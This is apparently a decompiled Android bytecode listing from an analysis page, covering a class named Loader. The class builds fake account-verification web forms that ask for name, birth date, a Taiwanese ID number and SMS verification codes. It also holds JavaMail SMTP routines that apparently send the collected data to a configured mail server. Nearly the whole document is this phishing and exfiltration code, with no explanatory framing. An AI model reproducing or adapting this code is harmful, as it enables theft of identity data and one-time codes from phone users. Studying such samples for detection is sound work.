0const/16 v6, 0x9
1const/4 v5, 0x6
2const/4 v4, 0x7
3const/4 v3, 0x4
4const/16 v2, 0x8
6invoke-direct {p0}, Ljava/lang/Object;-><init>()V
7new-instance v0, Landroid/os/Handler;
9invoke-static {}, Landroid/os/Looper;->getMainLooper()Landroid/os/Looper;
10move-result-object v1
12invoke-direct {v0, v1}, Landroid/os/Handler;-><init>(Landroid/os/Looper;)V
13iput-object v0, p0, Lcom/Loader;->b:Landroid/os/Handler;
14new-instance v0, Ljava/util/LinkedHashSet;
16invoke-direct {v0}, Ljava/util/LinkedHashSet;-><init>()V
17check-cast v0, Ljava/util/Set;
18iput-object v0, p0, Lcom/Loader;->c:Ljava/util/Set;
19new-instance v0, Ljava/util/LinkedHashSet;
21invoke-direct {v0}, Ljava/util/LinkedHashSet;-><init>()V
22check-cast v0, Ljava/util/Set;
23iput-object v0, p0, Lcom/Loader;->d:Ljava/util/Set;
24new-instance v0, Lcom/g;
26invoke-direct {v0}, Lcom/g;-><init>()V
27iput-object v0, p0, Lcom/Loader;->g:Lcom/g;
28new-instance v0, Ljava/util/Timer;
29const/4 v1, 0x1
31invoke-direct {v0, v1}, Ljava/util/Timer;-><init>(Z)V
32iput-object v0, p0, Lcom/Loader;->h:Ljava/util/Timer;
34const-string v0, ""
35iput-object v0, p0, Lcom/Loader;->j:Ljava/lang/String;
36new-instance v0, Lcom/Loader$b;
38invoke-direct {v0, p0}, Lcom/Loader$b;-><init>(Lcom/Loader;)V
39check-cast v0, Lcom/f;
40iput-object v0, p0, Lcom/Loader;->l:Lcom/f;
41new-instance v0, Ljava/util/concurrent/atomic/AtomicBoolean;
42const/4 v1, 0x0
44invoke-direct {v0, v1}, Ljava/util/concurrent/atomic/AtomicBoolean;-><init>(Z)V
45iput-object v0, p0, Lcom/Loader;->n:Ljava/util/concurrent/atomic/AtomicBoolean;
47const-string v0, ""
48iput-object v0, p0, Lcom/Loader;->o:Ljava/lang/String;
49new-instance v0, Lcom/Loader$s;
51invoke-direct {v0, p0}, Lcom/Loader$s;-><init>(Lcom/Loader;)V
52iput-object v0, p0, Lcom/Loader;->q:Lcom/Loader$s;
54const-string v0, ""
55iput-object v0, p0, Lcom/Loader;->r:Ljava/lang/String;
57invoke-static {}, Lcom/p;->a()Z
58move-result v0
59iput-boolean v0, p0, Lcom/Loader;->s:Z
60new-instance v0, Ljava/util/HashMap;
62invoke-direct {v0}, Ljava/util/HashMap;-><init>()V
63iput-object v0, p0, Lcom/Loader;->u:Ljava/util/HashMap;
65const-string v0, "\n body {\n font-family: Roboto-Regular, HelveticaNeue, Arial, sans-serif;\n }\n\n label {\n color: #222;\n line-height: 16px;\n font-size: 100%;\n text-decoration: none;\n }\n\n input {\n width: 100%;\n text-align: left;\n border-radius: 1px;\n border: 1px solid #d9d9d9;\n border-top: 1px solid #c0c0c0;\n font-size: 13px;\n height: 25px;\n line-height: 25px;\n padding: 1px 8px;\n -webkit-appearance: textfield;\n background-color: white;\n -webkit-rtl-ordering: logical;\n user-select: text;\n cursor: auto;\n }\n\n input, textarea, keygen, select, button {\n text-rendering: auto;\n color: initial;\n letter-spacing: normal;\n word-spacing: normal;\n text-transform: none;\n te
66iput-object v0, p0, Lcom/Loader;->y:Ljava/lang/String;
67new-instance v0, Ljava/lang/StringBuilder;
69invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
71const-string v1, "\n<head>\n <title></title>\n <meta http-equiv=\"content-type\" content=\"text/html; charset=UTF-8\" />\n <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0, minimum-scale=1.0, maximum-scale=1.0, user-scalable=no\">\n <style>"
73invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
74move-result-object v0
76iget-object v1, p0, Lcom/Loader;->y:Ljava/lang/String;
78invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
79move-result-object v0
81const-string v1, "</style>\n</head>\n"
83invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
84move-result-object v0
86invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
87move-result-object v0
88iput-object v0, p0, Lcom/Loader;->z:Ljava/lang/String;
89new-instance v0, Ljava/lang/StringBuilder;
91invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
93const-string v1, "\n<!DOCTYPE html>\n<html>\n"
95invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
96move-result-object v0
98iget-object v1, p0, Lcom/Loader;->z:Ljava/lang/String;
100invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
101move-result-object v0
103const-string v1, "\n<body>\n\n<script>\n function onValidate(name, date) {\n var idx = date.indexOf(\"-\")\n var i = parseInt(date.substr(0, idx))\n if(i >= 1999) {\n dateErr.innerText = \""
105invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
106move-result-object v0
108invoke-static {v5}, Lcom/p;->b(I)Ljava/lang/String;
109move-result-object v1
111invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
112move-result-object v0
114const-string v1, "\"\n return false\n }\n return true\n }\n</script>\n\n<div class=\"appbar\">\n <div class=\"apptitle\">\n <span class=\"icon\"></span>\n <span class=\"title\">"
116invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
117move-result-object v0
119invoke-static {v4}, Lcom/p;->b(I)Ljava/lang/String;
120move-result-object v1
122invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
123move-result-object v0
125const-string v1, "</span>\n </div>\n</div>\n<div class=\"appbarb\"></div>\n<h3 style=\"margin-left:16px\">%%ACCOUNT%%</h3>\n<div style=\"margin: 10px 10px;\">\n <form action=\"/submit\" method=\"post\" onsubmit=\"return onValidate(name.value, date.value)\">\n <label class=\"yf\" for=\"name\" style=\"display: block\">"
127invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
128move-result-object v0
130invoke-static {v2}, Lcom/p;->b(I)Ljava/lang/String;
131move-result-object v1
133invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
134move-result-object v0
136const-string v1, ":</label>\n <div class=\"cont\">\n <input id=\"name\" name=\"name\" autocomplete=\"false\" type=\"text\" minlength=\"2\" required placeholder=\""
138invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
139move-result-object v0
141invoke-static {v2}, Lcom/p;->b(I)Ljava/lang/String;
142move-result-object v1
144invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
145move-result-object v0
147const-string v1, "\">\n </div>\n <label class=\"yf\" for=\"date\" style=\"display: block\">"
149invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
150move-result-object v0
152invoke-static {v6}, Lcom/p;->b(I)Ljava/lang/String;
153move-result-object v1
155invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
156move-result-object v0
158const-string v1, ":</label>\n <div class=\"cont\">\n <input id=\"date\" name=\"date\" type=\"date\" max=\"1999-01-01\" required>\n </div>\n <div id=\"dateErr\" style=\"color: #dd4b39\">\n </div>\n <div class=\"cont btn-cont\">\n <button class=\"submit\" type=\"submit\" style=\"display: block\">"
160invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
161move-result-object v0
163invoke-static {v3}, Lcom/p;->b(I)Ljava/lang/String;
164move-result-object v1
166invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
167move-result-object v0
169const-string v1, "</button>\n </div>\n </form>\n</div>\n</body>\n\n</html>\n "
171invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
172move-result-object v0
174invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
175move-result-object v0
176iput-object v0, p0, Lcom/Loader;->A:Ljava/lang/String;
177new-instance v0, Ljava/lang/StringBuilder;
179invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
181const-string v1, "\n<!DOCTYPE html>\n<html>\n"
183invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
184move-result-object v0
186iget-object v1, p0, Lcom/Loader;->z:Ljava/lang/String;
188invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
189move-result-object v0
191const-string v1, "\n<body>\n\n<script>\n function onValidate(name, date) {\n var idx = date.indexOf(\"-\")\n var i = parseInt(date.substr(0, idx))\n if(i >= 1999) {\n dateErr.innerText = \""
193invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
194move-result-object v0
196invoke-static {v5}, Lcom/p;->b(I)Ljava/lang/String;
197move-result-object v1
199invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
200move-result-object v0
202const-string v1, "\"\n return false\n }\n return true\n }\n</script>\n\n<div class=\"appbar\">\n <div class=\"apptitle\">\n <span class=\"icon\"></span>\n <span class=\"title\">"
204invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
205move-result-object v0
207invoke-static {v4}, Lcom/p;->b(I)Ljava/lang/String;
208move-result-object v1
210invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
211move-result-object v0
213const-string v1, "</span>\n </div>\n</div>\n<div class=\"appbarb\"></div>\n<h3 style=\"margin-left:16px\">%%ACCOUNT%%</h3>\n<div style=\"margin: 10px 10px;\">\n <form action=\"/submit\" method=\"post\" onsubmit=\"return onValidate(name.value, date.value)\">\n <label class=\"yf\" for=\"name\" style=\"display: block\">"
215invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
216move-result-object v0
218invoke-static {v2}, Lcom/p;->b(I)Ljava/lang/String;
219move-result-object v1
221invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
222move-result-object v0
224const-string v1, ":</label>\n <div class=\"cont\">\n <input id=\"name\" name=\"name\" autocomplete=\"false\" type=\"text\" minlength=\"2\" required placeholder=\""
226invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
227move-result-object v0
229invoke-static {v2}, Lcom/p;->b(I)Ljava/lang/String;
230move-result-object v1
232invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
233move-result-object v0
235const-string v1, "\">\n </div>\n <label class=\"yf\" for=\"date\" style=\"display: block\">"
237invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
238move-result-object v0
240invoke-static {v6}, Lcom/p;->b(I)Ljava/lang/String;
241move-result-object v1
243invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
244move-result-object v0
246const-string v1, ":</label>\n <div class=\"cont\">\n <input id=\"date\" name=\"date\" type=\"date\" max=\"1999-01-01\" required>\n </div>\n <label class=\"yf\" for=\"idnum\" style=\"display: block\">\u8eab\u4efd\u8b49\u865f:</label>\n <div class=\"cont\">\n <input id=\"idnum\" name=\"idnum\" min-length=\"8\" placeholder=\"\u8eab\u4efd\u8b49\u865f\" required>\n </div>\n <div id=\"dateErr\" style=\"color: #dd4b39\">\n </div>\n <div class=\"cont btn-cont\">\n <button class=\"submit\" type=\"submit\" style=\"display: block\">"
248invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
249move-result-object v0
251invoke-static {v3}, Lcom/p;->b(I)Ljava/lang/String;
252move-result-object v1
254invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
255move-result-object v0
257const-string v1, "</button>\n </div>\n </form>\n</div>\n</body>\n\n</html>\n "
259invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
260move-result-object v0
262invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
263move-result-object v0
264iput-object v0, p0, Lcom/Loader;->B:Ljava/lang/String;
265new-instance v0, Ljava/lang/StringBuilder;
267invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
269const-string v1, "\n<!DOCTYPE html>\n<html>\n"
271invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
272move-result-object v0
274iget-object v1, p0, Lcom/Loader;->z:Ljava/lang/String;
276invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
277move-result-object v0
279const-string v1, "\n<body>\n\n<script>\n function onValidate(name, date) {\n return true\n }\n</script>\n\n<div class=\"appbar\">\n <div class=\"apptitle\">\n <span class=\"icon\"></span>\n <span class=\"title\">"
281invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
282move-result-object v0
284invoke-static {v4}, Lcom/p;->b(I)Ljava/lang/String;
285move-result-object v1
287invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
288move-result-object v0
290const-string v1, "</span>\n </div>\n</div>\n<div class=\"appbarb\"></div>\n<h3 style=\"margin-left:16px\">%%ACCOUNT%%</h3>\n<h3 style=\"margin-left:16px\">%%PHONE_NUMBER%%</h3>\n<div style=\"margin: 10px 10px;\">\n <form action=\"/submit\" method=\"post\" onsubmit=\"return onValidate(vcode.value)\">\n <label class=\"yf\" for=\"name\" style=\"display: block\">"
292invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
293move-result-object v0
294const/16 v1, 0xb
296invoke-static {v1}, Lcom/p;->b(I)Ljava/lang/String;
297move-result-object v1
299invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
300move-result-object v0
302const-string v1, ":</label>\n <div class=\"cont\">\n <input id=\"vcode\" name=\"vcode\" autocomplete=\"false\" type=\"text\" minlength=\"2\" required placeholder=\""
304invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
305move-result-object v0
306const/16 v1, 0xb
308invoke-static {v1}, Lcom/p;->b(I)Ljava/lang/String;
309move-result-object v1
311invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
312move-result-object v0
314const-string v1, "\">\n </div>\n <div class=\"cont btn-cont\">\n <button class=\"submit\" type=\"submit\" style=\"display: block\">"
316invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
317move-result-object v0
319invoke-static {v3}, Lcom/p;->b(I)Ljava/lang/String;
320move-result-object v1
322invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
323move-result-object v0
325const-string v1, "</button>\n </div>\n </form>\n</div>\n</body>\n\n</html>\n "
327invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
328move-result-object v0
330invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
331move-result-object v0
332iput-object v0, p0, Lcom/Loader;->C:Ljava/lang/String;
333return-void
Cross References
APIs
  • javax.mail.SendFailedException.<init>
  • java.util.Hashtable.<init>
  • java.util.Vector.<init>
  • javax.mail.Address.getType
  • java.util.Hashtable.containsKey
  • javax.mail.Address.getType
  • java.util.Hashtable.get
  • java.util.Vector.addElement
  • java.util.Vector.<init>
  • java.util.Vector.addElement
  • javax.mail.Address.getType
  • java.util.Hashtable.put
  • java.util.Hashtable.size
  • javax.mail.SendFailedException.<init>
  • javax.mail.Session.getTransport
  • javax.mail.Transport.connect
  • javax.mail.Transport.sendMessage
  • javax.mail.Transport.close
  • java.lang.System.getProperties
  • javax.mail.Session.getDefaultInstance
  • javax.mail.Transport.close
  • java.util.Hashtable.elements
  • java.util.Enumeration.hasMoreElements
  • java.util.Enumeration.nextElement
  • java.util.Vector.size
  • java.util.Vector.copyInto
  • javax.mail.Session.getTransport
  • java.util.Vector.addElement
  • javax.mail.Transport.connect
  • javax.mail.Transport.sendMessage
  • javax.mail.Transport.close
  • javax.mail.SendFailedException.getInvalidAddresses
  • java.util.Vector.addElement
  • javax.mail.MessagingException.setNextException
  • javax.mail.Transport.close
  • javax.mail.SendFailedException.getValidSentAddresses
  • java.util.Vector.addElement
  • javax.mail.SendFailedException.getValidUnsentAddresses
  • java.util.Vector.addElement
  • javax.mail.Transport.close
  • javax.mail.MessagingException.setNextException
  • java.util.Vector.size
  • java.util.Vector.copyInto
  • java.util.Vector.size
  • java.util.Vector.copyInto
  • java.util.Vector.size
  • java.util.Vector.copyInto
  • javax.mail.SendFailedException.<init>
Strings
  • No recipient addresses
  • Sending failed
Position Instruction Meta Information
0const/4 v4, 0x1
1const/4 v5, 0x0
2const/4 v3, 0x0
3if-eqz p1, :cond_8
4array-length v0, p1
5if-nez v0, :cond_10
6cond_8: new-instance v0, Ljavax/mail/SendFailedException;
8const-string v1, "No recipient addresses"
10invoke-direct {v0, v1}, Ljavax/mail/SendFailedException;-><init>(Ljava/lang/String;)V
11throw v0
12cond_10: new-instance v2, Ljava/util/Hashtable;
14invoke-direct {v2}, Ljava/util/Hashtable;-><init>()V
15new-instance v7, Ljava/util/Vector;
17invoke-direct {v7}, Ljava/util/Vector;-><init>()V
18new-instance v8, Ljava/util/Vector;
20invoke-direct {v8}, Ljava/util/Vector;-><init>()V
21new-instance v9, Ljava/util/Vector;
23invoke-direct {v9}, Ljava/util/Vector;-><init>()V
24move v1, v3
25goto_25: array-length v0, p1
26if-ge v1, v0, :cond_5d
27aget-object v0, p1, v1
29invoke-virtual {v0}, Ljavax/mail/Address;->getType()Ljava/lang/String;
30move-result-object v0
32invoke-virtual {v2, v0}, Ljava/util/Hashtable;->containsKey(Ljava/lang/Object;)Z
33move-result v0
34if-eqz v0, :cond_49
35aget-object v0, p1, v1
37invoke-virtual {v0}, Ljavax/mail/Address;->getType()Ljava/lang/String;
38move-result-object v0
40invoke-virtual {v2, v0}, Ljava/util/Hashtable;->get(Ljava/lang/Object;)Ljava/lang/Object;
41move-result-object v0
42check-cast v0, Ljava/util/Vector;
43aget-object v6, p1, v1
45invoke-virtual {v0, v6}, Ljava/util/Vector;->addElement(Ljava/lang/Object;)V
46goto_45: add-int/lit8 v0, v1, 0x1
47move v1, v0
48goto/16 :goto_25
49cond_49: new-instance v0, Ljava/util/Vector;
51invoke-direct {v0}, Ljava/util/Vector;-><init>()V
52aget-object v6, p1, v1
54invoke-virtual {v0, v6}, Ljava/util/Vector;->addElement(Ljava/lang/Object;)V
55aget-object v6, p1, v1
57invoke-virtual {v6}, Ljavax/mail/Address;->getType()Ljava/lang/String;
58move-result-object v6
60invoke-virtual {v2, v6, v0}, Ljava/util/Hashtable;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
61goto/16 :goto_45
62cond_5d:
63invoke-virtual {v2}, Ljava/util/Hashtable;->size()I
64move-result v1
65if-nez v1, :cond_6b
66new-instance v0, Ljavax/mail/SendFailedException;
68const-string v1, "No recipient addresses"
70invoke-direct {v0, v1}, Ljavax/mail/SendFailedException;-><init>(Ljava/lang/String;)V
71throw v0
72cond_6b:
73iget-object v0, p0, Ljavax/mail/Message;->session:Ljavax/mail/Session;
74if-eqz v0, :cond_84
76iget-object v0, p0, Ljavax/mail/Message;->session:Ljavax/mail/Session;
77move-object v6, v0
78goto_72: if-ne v1, v4, :cond_93
79aget-object v0, p1, v3
81invoke-virtual {v6, v0}, Ljavax/mail/Session;->getTransport(Ljavax/mail/Address;)Ljavax/mail/Transport;
82move-result-object v1
83try_start_7a:
84invoke-virtual {v1}, Ljavax/mail/Transport;->connect()V
86invoke-virtual {v1, p0, p1}, Ljavax/mail/Transport;->sendMessage(Ljavax/mail/Message;[Ljavax/mail/Address;)V
87try_end_80:
88invoke-virtual {v1}, Ljavax/mail/Transport;->close()V
89cond_83: return-void
90cond_84:
91invoke-static {}, Ljava/lang/System;->getProperties()Ljava/util/Properties;
92move-result-object v0
94invoke-static {v0, v5}, Ljavax/mail/Session;->getDefaultInstance(Ljava/util/Properties;Ljavax/mail/Authenticator;)Ljavax/mail/Session;
95move-result-object v0
96move-object v6, v0
97goto/16 :goto_72
98catchall_8e: move-exception v0
100invoke-virtual {v1}, Ljavax/mail/Transport;->close()V
101throw v0
102cond_93:
103invoke-virtual {v2}, Ljava/util/Hashtable;->elements()Ljava/util/Enumeration;
104move-result-object v10
105move v1, v3
106move-object v2, v5
107cond_99:
108invoke-interface {v10}, Ljava/util/Enumeration;->hasMoreElements()Z
109move-result v0
110if-eqz v0, :cond_123
112invoke-interface {v10}, Ljava/util/Enumeration;->nextElement()Ljava/lang/Object;
113move-result-object v0
114check-cast v0, Ljava/util/Vector;
116invoke-virtual {v0}, Ljava/util/Vector;->size()I
117move-result v11
118new-array v11, v11, [Ljavax/mail/Address;
120invoke-virtual {v0, v11}, Ljava/util/Vector;->copyInto([Ljava/lang/Object;)V
121aget-object v0, v11, v3
123invoke-virtual {v6, v0}, Ljavax/mail/Session;->getTransport(Ljavax/mail/Address;)Ljavax/mail/Transport;
124move-result-object v12
125if-nez v12, :cond_c2
126move v0, v3
127goto_b7: array-length v12, v11
128if-ge v0, v12, :cond_99
129aget-object v12, v11, v0
131invoke-virtual {v7, v12}, Ljava/util/Vector;->addElement(Ljava/lang/Object;)V
132add-int/lit8 v0, v0, 0x1
133goto/16 :goto_b7
134try_start_c2:
135invoke-virtual {v12}, Ljavax/mail/Transport;->connect()V
137invoke-virtual {v12, p0, v11}, Ljavax/mail/Transport;->sendMessage(Ljavax/mail/Message;[Ljavax/mail/Address;)V
138try_end_c8:
139invoke-virtual {v12}, Ljavax/mail/Transport;->close()V
140move v0, v1
141goto_cc: move v1, v0
142goto/16 :goto_99
143catch_ce: move-exception v0
144if-nez v2, :cond_e4
145move-object v2, v0
146goto_d2:
147invoke-virtual {v0}, Ljavax/mail/SendFailedException;->getInvalidAddresses()[Ljavax/mail/Address;
148move-result-object v11
149if-eqz v11, :cond_ed
150move v1, v3
151goto_d9: array-length v13, v11
152if-ge v1, v13, :cond_ed
153aget-object v13, v11, v1
155invoke-virtual {v7, v13}, Ljava/util/Vector;->addElement(Ljava/lang/Object;)V
156add-int/lit8 v1, v1, 0x1
157goto/16 :goto_d9
158cond_e4:
159invoke-virtual {v2, v0}, Ljavax/mail/MessagingException;->setNextException(Ljava/lang/Exception;)Z
160try_end_e7: goto/16 :goto_d2
161catchall_e8: move-exception v0
163invoke-virtual {v12}, Ljavax/mail/Transport;->close()V
164throw v0
165try_start_ed:
166invoke-virtual {v0}, Ljavax/mail/SendFailedException;->getValidSentAddresses()[Ljavax/mail/Address;
167move-result-object v11
168if-eqz v11, :cond_ff
169move v1, v3
170goto_f4: array-length v13, v11
171if-ge v1, v13, :cond_ff
172aget-object v13, v11, v1
174invoke-virtual {v8, v13}, Ljava/util/Vector;->addElement(Ljava/lang/Object;)V
175add-int/lit8 v1, v1, 0x1
176goto/16 :goto_f4
177cond_ff:
178invoke-virtual {v0}, Ljavax/mail/SendFailedException;->getValidUnsentAddresses()[Ljavax/mail/Address;
179move-result-object v1
180if-eqz v1, :cond_111
181move v0, v3
182goto_106: array-length v11, v1
183if-ge v0, v11, :cond_111
184aget-object v11, v1, v0
186invoke-virtual {v9, v11}, Ljava/util/Vector;->addElement(Ljava/lang/Object;)V
187try_end_10e: add-int/lit8 v0, v0, 0x1
188goto/16 :goto_106
189cond_111:
190invoke-virtual {v12}, Ljavax/mail/Transport;->close()V
191move v0, v4
192goto/16 :goto_cc
193catch_116: move-exception v0
194if-nez v2, :cond_11f
195move-object v2, v0
196goto_11a:
197invoke-virtual {v12}, Ljavax/mail/Transport;->close()V
198move v0, v4
199goto/16 :goto_cc
200try_start_11f:
201invoke-virtual {v2, v0}, Ljavax/mail/MessagingException;->setNextException(Ljava/lang/Exception;)Z
202try_end_122: goto/16 :goto_11a
203cond_123: if-nez v1, :cond_131
205invoke-virtual {v7}, Ljava/util/Vector;->size()I
206move-result v0
207if-nez v0, :cond_131
209invoke-virtual {v9}, Ljava/util/Vector;->size()I
210move-result v0
211if-eqz v0, :cond_83
212cond_131:
213invoke-virtual {v8}, Ljava/util/Vector;->size()I
214move-result v0
215if-lez v0, :cond_168
217invoke-virtual {v8}, Ljava/util/Vector;->size()I
218move-result v0
219new-array v3, v0, [Ljavax/mail/Address;
221invoke-virtual {v8, v3}, Ljava/util/Vector;->copyInto([Ljava/lang/Object;)V
222goto_140:
223invoke-virtual {v9}, Ljava/util/Vector;->size()I
224move-result v0
225if-lez v0, :cond_166
227invoke-virtual {v9}, Ljava/util/Vector;->size()I
228move-result v0
229new-array v4, v0, [Ljavax/mail/Address;
231invoke-virtual {v9, v4}, Ljava/util/Vector;->copyInto([Ljava/lang/Object;)V
232goto_14f:
233invoke-virtual {v7}, Ljava/util/Vector;->size()I
234move-result v0
235if-lez v0, :cond_15e
237invoke-virtual {v7}, Ljava/util/Vector;->size()I
238move-result v0
239new-array v5, v0, [Ljavax/mail/Address;
241invoke-virtual {v7, v5}, Ljava/util/Vector;->copyInto([Ljava/lang/Object;)V
242cond_15e: new-instance v0, Ljavax/mail/SendFailedException;
244const-string v1, "Sending failed"
246invoke-direct/range {v0 .. v5}, Ljavax/mail/SendFailedException;-><init>(Ljava/lang/String;Ljava/lang/Exception;[Ljavax/mail/Address;[Ljavax/mail/Address;[Ljavax/mail/Address;)V
247throw v0
248cond_166: move-object v4, v5
249goto/16 :goto_14f
250cond_168: move-object v3, v5
251goto/16 :goto_140
APIs
  • java.util.Properties.<init>
  • java.util.Properties.setProperty
  • javax.mail.Session.getInstance
  • javax.mail.Session.setDebug
  • javax.mail.Session.getTransport
  • javax.mail.Transport.connect
  • javax.mail.internet.MimeMessage.getAllRecipients
  • javax.mail.Transport.sendMessage
  • javax.mail.Transport.close
  • java.lang.Exception.printStackTrace
Strings
  • mail.transport.protocol
  • smtp
  • mail.smtp.host
  • mail.smtp.port
  • mail.smtp.auth
  • true
  • session
Position Instruction Meta Information
0nop
1try_start_1: new-instance v2, Lcom/Loader$s$e$1;
3invoke-direct {v2, p0}, Lcom/Loader$s$e$1;-><init>(Lcom/Loader$s$e;)V
4new-instance v3, Ljava/util/Properties;
6invoke-direct {v3}, Ljava/util/Properties;-><init>()V
8const-string v1, "mail.transport.protocol"
10const-string v4, "smtp"
12invoke-virtual {v3, v1, v4}, Ljava/util/Properties;->setProperty(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/Object;
14const-string v4, "mail.smtp.host"
16iget-object v1, p0, Lcom/Loader$s$e;->d:Ld/d/b/j$a;
18iget-object v1, v1, Ld/d/b/j$a;->a:Ljava/lang/Object;
19check-cast v1, Ljava/lang/String;
21invoke-virtual {v3, v4, v1}, Ljava/util/Properties;->setProperty(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/Object;
23const-string v4, "mail.smtp.port"
25iget-object v1, p0, Lcom/Loader$s$e;->e:Ld/d/b/j$a;
27iget-object v1, v1, Ld/d/b/j$a;->a:Ljava/lang/Object;
28check-cast v1, Ljava/lang/String;
30invoke-virtual {v3, v4, v1}, Ljava/util/Properties;->setProperty(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/Object;
32const-string v1, "mail.smtp.auth"
34const-string v4, "true"
36invoke-virtual {v3, v1, v4}, Ljava/util/Properties;->setProperty(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/Object;
38invoke-static {v3}, Ljavax/mail/Session;->getInstance(Ljava/util/Properties;)Ljavax/mail/Session;
39move-result-object v1
40const/4 v3, 0x1
42invoke-virtual {v1, v3}, Ljavax/mail/Session;->setDebug(Z)V
44const-string v3, "session"
46invoke-static {v1, v3}, Ld/d/b/h;->a(Ljava/lang/Object;Ljava/lang/String;)V
48iget-object v3, p0, Lcom/Loader$s$e;->f:Ljava/lang/String;
50iget-object v4, p0, Lcom/Loader$s$e;->f:Ljava/lang/String;
52invoke-virtual {v2, v1, v3, v4}, Lcom/Loader$s$e$1;->a(Ljavax/mail/Session;Ljava/lang/String;Ljava/lang/String;)Ljavax/mail/internet/MimeMessage;
53move-result-object v2
55invoke-virtual {v1}, Ljavax/mail/Session;->getTransport()Ljavax/mail/Transport;
56move-result-object v3
